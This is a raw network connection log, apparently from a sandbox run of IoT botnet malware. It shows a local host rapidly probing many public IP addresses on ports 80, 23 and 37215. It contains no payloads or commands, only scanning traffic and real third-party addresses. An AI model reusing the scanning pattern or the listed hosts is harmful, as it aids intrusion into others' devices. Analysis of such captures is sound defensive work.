Oct 17, 2024 02:19:45.332870007 CEST	80	49814	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:45.332926035 CEST	49814	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:45.347706079 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:45.347706079 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:45.347709894 CEST	33370	80	192.168.2.14	151.5.201.239
Oct 17, 2024 02:19:45.347713947 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:45.347718954 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.347721100 CEST	38710	80	192.168.2.14	101.247.211.235
Oct 17, 2024 02:19:45.352603912 CEST	80	33522	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:45.352616072 CEST	37215	53532	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:45.352627993 CEST	37215	60716	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:45.352638960 CEST	37215	46318	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:45.352664948 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.352677107 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:45.352680922 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:45.352680922 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:45.352863073 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:45.352910042 CEST	33522	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:45.353080988 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:45.353081942 CEST	46318	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:45.354908943 CEST	34714	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:45.355204105 CEST	47514	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:45.357189894 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:45.357189894 CEST	60716	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:45.357601881 CEST	80	33522	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:45.357805967 CEST	33676	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:45.357844114 CEST	37215	46318	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:45.359555960 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.359576941 CEST	53532	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.361474037 CEST	54720	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.362023115 CEST	37215	60716	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:45.364367008 CEST	37215	53532	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:45.366281986 CEST	37215	54720	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:45.366379023 CEST	54720	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.366394997 CEST	54720	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.367100954 CEST	37215	55952	197.166.253.195	192.168.2.14
Oct 17, 2024 02:19:45.367111921 CEST	80	48600	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:45.371476889 CEST	37215	54720	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:45.371522903 CEST	54720	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:45.379718065 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:45.379717112 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:45.379717112 CEST	46240	37215	192.168.2.14	41.236.21.66
Oct 17, 2024 02:19:45.379724979 CEST	53732	37215	192.168.2.14	156.213.127.89
Oct 17, 2024 02:19:45.379724979 CEST	45838	37215	192.168.2.14	41.6.177.78
Oct 17, 2024 02:19:45.379723072 CEST	35278	80	192.168.2.14	136.140.231.208
Oct 17, 2024 02:19:45.379729033 CEST	38574	80	192.168.2.14	155.248.209.160
Oct 17, 2024 02:19:45.379723072 CEST	40926	80	192.168.2.14	166.156.182.79
Oct 17, 2024 02:19:45.379746914 CEST	33870	23	192.168.2.14	88.245.74.61
Oct 17, 2024 02:19:45.384532928 CEST	80	54782	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:45.384545088 CEST	37215	41052	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:45.384610891 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:45.384613037 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:45.384859085 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:45.384859085 CEST	54782	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:45.385044098 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:45.385044098 CEST	41052	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:45.389714956 CEST	80	54782	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:45.389867067 CEST	37215	41052	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:45.399147987 CEST	37215	46318	197.249.221.114	192.168.2.14
Oct 17, 2024 02:19:45.399158955 CEST	80	33522	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:45.407166004 CEST	37215	60716	197.227.16.10	192.168.2.14
Oct 17, 2024 02:19:45.407181025 CEST	37215	53532	197.214.172.28	192.168.2.14
Oct 17, 2024 02:19:45.411694050 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.411694050 CEST	49298	23	192.168.2.14	86.204.191.194
Oct 17, 2024 02:19:45.411714077 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.411714077 CEST	45614	80	192.168.2.14	5.71.231.134
Oct 17, 2024 02:19:45.411719084 CEST	50624	80	192.168.2.14	180.83.57.162
Oct 17, 2024 02:19:45.411739111 CEST	36264	80	192.168.2.14	175.89.36.136
Oct 17, 2024 02:19:45.411739111 CEST	55316	37215	192.168.2.14	197.233.230.231
Oct 17, 2024 02:19:45.411741972 CEST	35832	37215	192.168.2.14	41.102.203.154
Oct 17, 2024 02:19:45.411748886 CEST	38896	37215	192.168.2.14	41.125.31.107
Oct 17, 2024 02:19:45.411755085 CEST	37610	80	192.168.2.14	216.162.115.8
Oct 17, 2024 02:19:45.411839962 CEST	51882	80	192.168.2.14	39.144.2.241
Oct 17, 2024 02:19:45.416163921 CEST	55958	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:45.416352987 CEST	42232	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:45.416532993 CEST	37215	37684	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:45.416578054 CEST	23	49298	86.204.191.194	192.168.2.14
Oct 17, 2024 02:19:45.416589975 CEST	37215	56562	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:45.416625023 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.416644096 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.416661978 CEST	49298	23	192.168.2.14	86.204.191.194
Oct 17, 2024 02:19:45.435148001 CEST	37215	41052	156.235.175.203	192.168.2.14
Oct 17, 2024 02:19:45.435158968 CEST	80	54782	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:45.443696022 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:45.443706036 CEST	53354	23	192.168.2.14	96.190.151.176
Oct 17, 2024 02:19:45.443717957 CEST	48820	23	192.168.2.14	160.21.205.152
Oct 17, 2024 02:19:45.448370934 CEST	23	53684	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:45.448486090 CEST	53684	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:45.448596001 CEST	80	48318	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:45.448615074 CEST	23	53354	96.190.151.176	192.168.2.14
Oct 17, 2024 02:19:45.448626041 CEST	23	48820	160.21.205.152	192.168.2.14
Oct 17, 2024 02:19:45.448646069 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:45.448684931 CEST	53354	23	192.168.2.14	96.190.151.176
Oct 17, 2024 02:19:45.448695898 CEST	48820	23	192.168.2.14	160.21.205.152
Oct 17, 2024 02:19:45.453363895 CEST	23	53684	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:45.475687981 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.475707054 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.475708008 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:45.475723982 CEST	38910	80	192.168.2.14	47.123.240.67
Oct 17, 2024 02:19:45.475725889 CEST	54436	23	192.168.2.14	88.162.169.225
Oct 17, 2024 02:19:45.475737095 CEST	43646	23	192.168.2.14	156.162.252.0
Oct 17, 2024 02:19:45.475742102 CEST	54742	80	192.168.2.14	45.21.149.219
Oct 17, 2024 02:19:45.475737095 CEST	60824	80	192.168.2.14	172.48.127.151
Oct 17, 2024 02:19:45.475737095 CEST	33350	37215	192.168.2.14	156.224.61.59
Oct 17, 2024 02:19:45.475759983 CEST	60300	80	192.168.2.14	162.59.53.132
Oct 17, 2024 02:19:45.480747938 CEST	80	49442	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:45.480792046 CEST	37215	46840	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:45.480798006 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.480804920 CEST	37215	41098	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:45.480827093 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:45.481210947 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.484456062 CEST	80	52874	207.45.81.68	192.168.2.14
Oct 17, 2024 02:19:45.484715939 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:45.484890938 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:45.484924078 CEST	48318	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:45.489656925 CEST	80	48318	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:45.489866018 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.489866018 CEST	37684	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.494805098 CEST	37215	37684	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:45.507682085 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.507688046 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:45.507698059 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:45.507698059 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:45.507714987 CEST	38112	80	192.168.2.14	200.69.221.58
Oct 17, 2024 02:19:45.507714987 CEST	34882	80	192.168.2.14	96.126.207.202
Oct 17, 2024 02:19:45.507719994 CEST	52748	37215	192.168.2.14	197.111.176.34
Oct 17, 2024 02:19:45.507718086 CEST	46770	37215	192.168.2.14	197.36.206.50
Oct 17, 2024 02:19:45.507718086 CEST	54214	80	192.168.2.14	180.39.30.52
Oct 17, 2024 02:19:45.507735968 CEST	34910	23	192.168.2.14	39.104.152.36
Oct 17, 2024 02:19:45.507757902 CEST	52628	23	192.168.2.14	43.118.115.1
Oct 17, 2024 02:19:45.507774115 CEST	36012	23	192.168.2.14	39.86.191.110
Oct 17, 2024 02:19:45.507774115 CEST	56584	23	192.168.2.14	152.23.242.18
Oct 17, 2024 02:19:45.507836103 CEST	46518	23	192.168.2.14	77.32.42.70
Oct 17, 2024 02:19:45.512777090 CEST	37215	59534	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:45.512790918 CEST	80	46682	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:45.512801886 CEST	80	60822	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:45.512814045 CEST	80	51418	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:45.512842894 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.512845993 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:45.512854099 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:45.512864113 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:45.529203892 CEST	38848	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.531251907 CEST	80	48318	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:45.534132957 CEST	37215	38848	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:45.534311056 CEST	38848	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.534348965 CEST	53838	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:45.534507036 CEST	49454	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:45.535095930 CEST	37215	37684	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:45.539201975 CEST	23	53838	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:45.539459944 CEST	53838	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:45.539700985 CEST	42292	23	192.168.2.14	134.102.57.40
Oct 17, 2024 02:19:45.539719105 CEST	55210	23	192.168.2.14	163.101.36.245
Oct 17, 2024 02:19:45.539719105 CEST	60328	80	192.168.2.14	130.169.41.233
Oct 17, 2024 02:19:45.539733887 CEST	55930	37215	192.168.2.14	156.69.8.0
Oct 17, 2024 02:19:45.539736032 CEST	34840	80	192.168.2.14	139.119.78.74
Oct 17, 2024 02:19:45.539733887 CEST	33718	23	192.168.2.14	13.197.228.153
Oct 17, 2024 02:19:45.539733887 CEST	59508	80	192.168.2.14	162.0.128.111
Oct 17, 2024 02:19:45.539736986 CEST	35870	80	192.168.2.14	128.7.12.180
Oct 17, 2024 02:19:45.539736986 CEST	43888	80	192.168.2.14	137.55.111.123
Oct 17, 2024 02:19:45.539736986 CEST	52382	23	192.168.2.14	54.38.223.158
Oct 17, 2024 02:19:45.539741993 CEST	42080	37215	192.168.2.14	41.158.128.192
Oct 17, 2024 02:19:45.539741993 CEST	37874	23	192.168.2.14	19.16.222.129
Oct 17, 2024 02:19:45.539741993 CEST	48666	37215	192.168.2.14	41.70.159.187
Oct 17, 2024 02:19:45.539746046 CEST	50940	23	192.168.2.14	13.168.222.14
Oct 17, 2024 02:19:45.539767027 CEST	60792	80	192.168.2.14	220.222.96.189
Oct 17, 2024 02:19:45.544718027 CEST	23	42292	134.102.57.40	192.168.2.14
Oct 17, 2024 02:19:45.544811964 CEST	42292	23	192.168.2.14	134.102.57.40
Oct 17, 2024 02:19:45.571711063 CEST	34428	23	192.168.2.14	116.246.203.72
Oct 17, 2024 02:19:45.571711063 CEST	52126	23	192.168.2.14	111.163.29.206
Oct 17, 2024 02:19:45.571712017 CEST	57830	23	192.168.2.14	130.126.171.15
Oct 17, 2024 02:19:45.571711063 CEST	46104	23	192.168.2.14	37.144.172.5
Oct 17, 2024 02:19:45.571711063 CEST	44162	23	192.168.2.14	98.28.75.43
Oct 17, 2024 02:19:45.571711063 CEST	50378	37215	192.168.2.14	156.42.18.17
Oct 17, 2024 02:19:45.571711063 CEST	49838	37215	192.168.2.14	41.102.78.212
Oct 17, 2024 02:19:45.571711063 CEST	55008	37215	192.168.2.14	156.40.162.205
Oct 17, 2024 02:19:45.571719885 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:45.571722031 CEST	35254	37215	192.168.2.14	41.217.22.123
Oct 17, 2024 02:19:45.571722031 CEST	53572	80	192.168.2.14	163.8.170.156
Oct 17, 2024 02:19:45.571722031 CEST	38130	80	192.168.2.14	182.132.193.27
Oct 17, 2024 02:19:45.571722031 CEST	43884	37215	192.168.2.14	41.132.10.240
Oct 17, 2024 02:19:45.571732044 CEST	39332	80	192.168.2.14	129.241.26.197
Oct 17, 2024 02:19:45.571732044 CEST	60274	80	192.168.2.14	202.116.48.74
Oct 17, 2024 02:19:45.571733952 CEST	45532	80	192.168.2.14	218.108.23.30
Oct 17, 2024 02:19:45.571733952 CEST	58046	80	192.168.2.14	207.203.30.200
Oct 17, 2024 02:19:45.575489998 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.575489998 CEST	56562	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.576683044 CEST	80	46528	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:45.576699018 CEST	23	57830	130.126.171.15	192.168.2.14
Oct 17, 2024 02:19:45.576714039 CEST	23	34428	116.246.203.72	192.168.2.14
Oct 17, 2024 02:19:45.576762915 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:45.576806068 CEST	34428	23	192.168.2.14	116.246.203.72
Oct 17, 2024 02:19:45.576901913 CEST	57830	23	192.168.2.14	130.126.171.15
Oct 17, 2024 02:19:45.578109026 CEST	23	60626	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:45.578464031 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.578490973 CEST	49442	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.579700947 CEST	60626	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:45.580673933 CEST	37215	56562	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:45.583370924 CEST	80	49442	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:45.590006113 CEST	50568	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.590210915 CEST	57728	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.590735912 CEST	60626	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:45.591890097 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:45.591890097 CEST	46682	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:45.592089891 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.592089891 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.593241930 CEST	42224	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.593569040 CEST	60740	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:45.593732119 CEST	47788	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:45.594890118 CEST	80	50568	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:45.594949007 CEST	50568	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.594986916 CEST	37215	57728	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:45.595031977 CEST	57728	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.595077991 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:45.595092058 CEST	46840	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:45.595618010 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:45.595618010 CEST	60822	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:45.595653057 CEST	23	60626	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:45.596772909 CEST	80	46682	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:45.596772909 CEST	33692	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:45.596915007 CEST	47964	37215	192.168.2.14	156.210.142.196
Oct 17, 2024 02:19:45.596963882 CEST	37215	41098	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:45.598455906 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:45.598455906 CEST	51418	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:45.598747015 CEST	38848	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.598747015 CEST	57728	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.598802090 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.598802090 CEST	59534	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.599648952 CEST	60648	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.599889994 CEST	37215	46840	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:45.599956989 CEST	52514	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:45.600522041 CEST	80	60822	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:45.601536036 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:45.601536036 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:45.602174044 CEST	47562	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:45.603212118 CEST	50568	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.603321075 CEST	80	51418	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:45.603682995 CEST	48594	23	192.168.2.14	125.1.248.23
Oct 17, 2024 02:19:45.603683949 CEST	37215	59534	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:45.603692055 CEST	37112	80	192.168.2.14	98.242.53.73
Oct 17, 2024 02:19:45.603694916 CEST	60290	23	192.168.2.14	156.21.115.18
Oct 17, 2024 02:19:45.603694916 CEST	45978	37215	192.168.2.14	41.32.14.252
Oct 17, 2024 02:19:45.603702068 CEST	57768	23	192.168.2.14	172.126.65.188
Oct 17, 2024 02:19:45.603702068 CEST	57236	80	192.168.2.14	213.16.243.220
Oct 17, 2024 02:19:45.603702068 CEST	43160	80	192.168.2.14	198.36.138.239
Oct 17, 2024 02:19:45.603708982 CEST	60518	37215	192.168.2.14	41.231.130.210
Oct 17, 2024 02:19:45.603712082 CEST	42002	23	192.168.2.14	93.141.142.177
Oct 17, 2024 02:19:45.603712082 CEST	35214	80	192.168.2.14	102.219.103.167
Oct 17, 2024 02:19:45.603712082 CEST	38958	37215	192.168.2.14	156.11.104.107
Oct 17, 2024 02:19:45.603718996 CEST	37215	38848	41.238.65.178	192.168.2.14
Oct 17, 2024 02:19:45.603769064 CEST	38848	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:45.603777885 CEST	37215	57728	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:45.603826046 CEST	57728	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:45.604461908 CEST	37215	60648	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:45.604517937 CEST	60648	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.604619026 CEST	60648	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.606379032 CEST	80	46528	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:45.608412027 CEST	80	50568	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:45.608480930 CEST	50568	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:45.609992981 CEST	37215	60648	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:45.610038042 CEST	60648	37215	192.168.2.14	41.23.33.34
Oct 17, 2024 02:19:45.627156019 CEST	37215	56562	156.201.190.43	192.168.2.14
Oct 17, 2024 02:19:45.631113052 CEST	80	49442	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:45.635688066 CEST	51666	23	192.168.2.14	71.184.19.7
Oct 17, 2024 02:19:45.635698080 CEST	50886	23	192.168.2.14	172.162.8.159
Oct 17, 2024 02:19:45.635720968 CEST	45928	37215	192.168.2.14	41.159.173.9
Oct 17, 2024 02:19:45.635725975 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.635730982 CEST	52128	37215	192.168.2.14	41.58.143.232
Oct 17, 2024 02:19:45.635826111 CEST	60526	37215	192.168.2.14	156.229.244.150
Oct 17, 2024 02:19:45.640748024 CEST	23	51666	71.184.19.7	192.168.2.14
Oct 17, 2024 02:19:45.640759945 CEST	23	50886	172.162.8.159	192.168.2.14
Oct 17, 2024 02:19:45.640769958 CEST	80	38624	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:45.640798092 CEST	51666	23	192.168.2.14	71.184.19.7
Oct 17, 2024 02:19:45.640811920 CEST	50886	23	192.168.2.14	172.162.8.159
Oct 17, 2024 02:19:45.641004086 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.641004086 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.641088009 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.641571999 CEST	39586	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.643196106 CEST	37215	41098	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:45.643208981 CEST	80	46682	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:45.643218994 CEST	80	60822	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:45.643229961 CEST	37215	46840	156.210.142.196	192.168.2.14
Oct 17, 2024 02:19:45.645921946 CEST	80	38624	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:45.646385908 CEST	80	39586	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:45.646454096 CEST	39586	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.646454096 CEST	39586	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.647098064 CEST	80	46528	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:45.647109032 CEST	37215	59534	41.23.33.34	192.168.2.14
Oct 17, 2024 02:19:45.647119045 CEST	80	51418	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:45.651770115 CEST	80	39586	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:45.651828051 CEST	39586	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:45.667685032 CEST	35504	23	192.168.2.14	158.203.105.171
Oct 17, 2024 02:19:45.667690039 CEST	51088	23	192.168.2.14	121.141.64.83
Oct 17, 2024 02:19:45.667695045 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:45.667695999 CEST	40830	37215	192.168.2.14	41.174.5.246
Oct 17, 2024 02:19:45.667695999 CEST	41624	80	192.168.2.14	126.195.147.30
Oct 17, 2024 02:19:45.667704105 CEST	50172	37215	192.168.2.14	197.61.234.163
Oct 17, 2024 02:19:45.667704105 CEST	56832	80	192.168.2.14	174.64.204.55
Oct 17, 2024 02:19:45.667716026 CEST	46536	37215	192.168.2.14	41.89.192.253
Oct 17, 2024 02:19:45.667715073 CEST	34068	80	192.168.2.14	160.83.128.230
Oct 17, 2024 02:19:45.667715073 CEST	55494	80	192.168.2.14	173.134.199.164
Oct 17, 2024 02:19:45.667715073 CEST	33144	80	192.168.2.14	132.200.106.230
Oct 17, 2024 02:19:45.667736053 CEST	40264	23	192.168.2.14	154.163.182.208
Oct 17, 2024 02:19:45.672516108 CEST	80	47816	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:45.672528982 CEST	23	51088	121.141.64.83	192.168.2.14
Oct 17, 2024 02:19:45.672538996 CEST	23	35504	158.203.105.171	192.168.2.14
Oct 17, 2024 02:19:45.672578096 CEST	51088	23	192.168.2.14	121.141.64.83
Oct 17, 2024 02:19:45.672585964 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:45.672604084 CEST	35504	23	192.168.2.14	158.203.105.171
Oct 17, 2024 02:19:45.672734022 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:45.672734022 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:45.673418999 CEST	48768	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:45.677666903 CEST	80	47816	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:45.691104889 CEST	80	38624	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:45.699687004 CEST	51422	23	192.168.2.14	195.121.56.104
Oct 17, 2024 02:19:45.699687004 CEST	48496	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:45.699687004 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:45.699687004 CEST	53516	23	192.168.2.14	42.32.78.113
Oct 17, 2024 02:19:45.699687958 CEST	39512	80	192.168.2.14	60.255.163.138
Oct 17, 2024 02:19:45.699698925 CEST	38576	80	192.168.2.14	117.50.228.62
Oct 17, 2024 02:19:45.699708939 CEST	43564	37215	192.168.2.14	156.106.39.28
Oct 17, 2024 02:19:45.699717045 CEST	53072	80	192.168.2.14	201.90.41.212
Oct 17, 2024 02:19:45.699716091 CEST	42982	23	192.168.2.14	2.82.6.37
Oct 17, 2024 02:19:45.699716091 CEST	47024	80	192.168.2.14	153.71.173.164
Oct 17, 2024 02:19:45.699736118 CEST	40096	37215	192.168.2.14	41.212.199.44
Oct 17, 2024 02:19:45.699738979 CEST	53486	37215	192.168.2.14	156.250.16.160
Oct 17, 2024 02:19:45.699743032 CEST	35322	80	192.168.2.14	36.129.78.117
Oct 17, 2024 02:19:45.704654932 CEST	23	51422	195.121.56.104	192.168.2.14
Oct 17, 2024 02:19:45.704665899 CEST	23	48496	85.66.115.91	192.168.2.14
Oct 17, 2024 02:19:45.704674959 CEST	37215	50266	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:45.704715967 CEST	51422	23	192.168.2.14	195.121.56.104
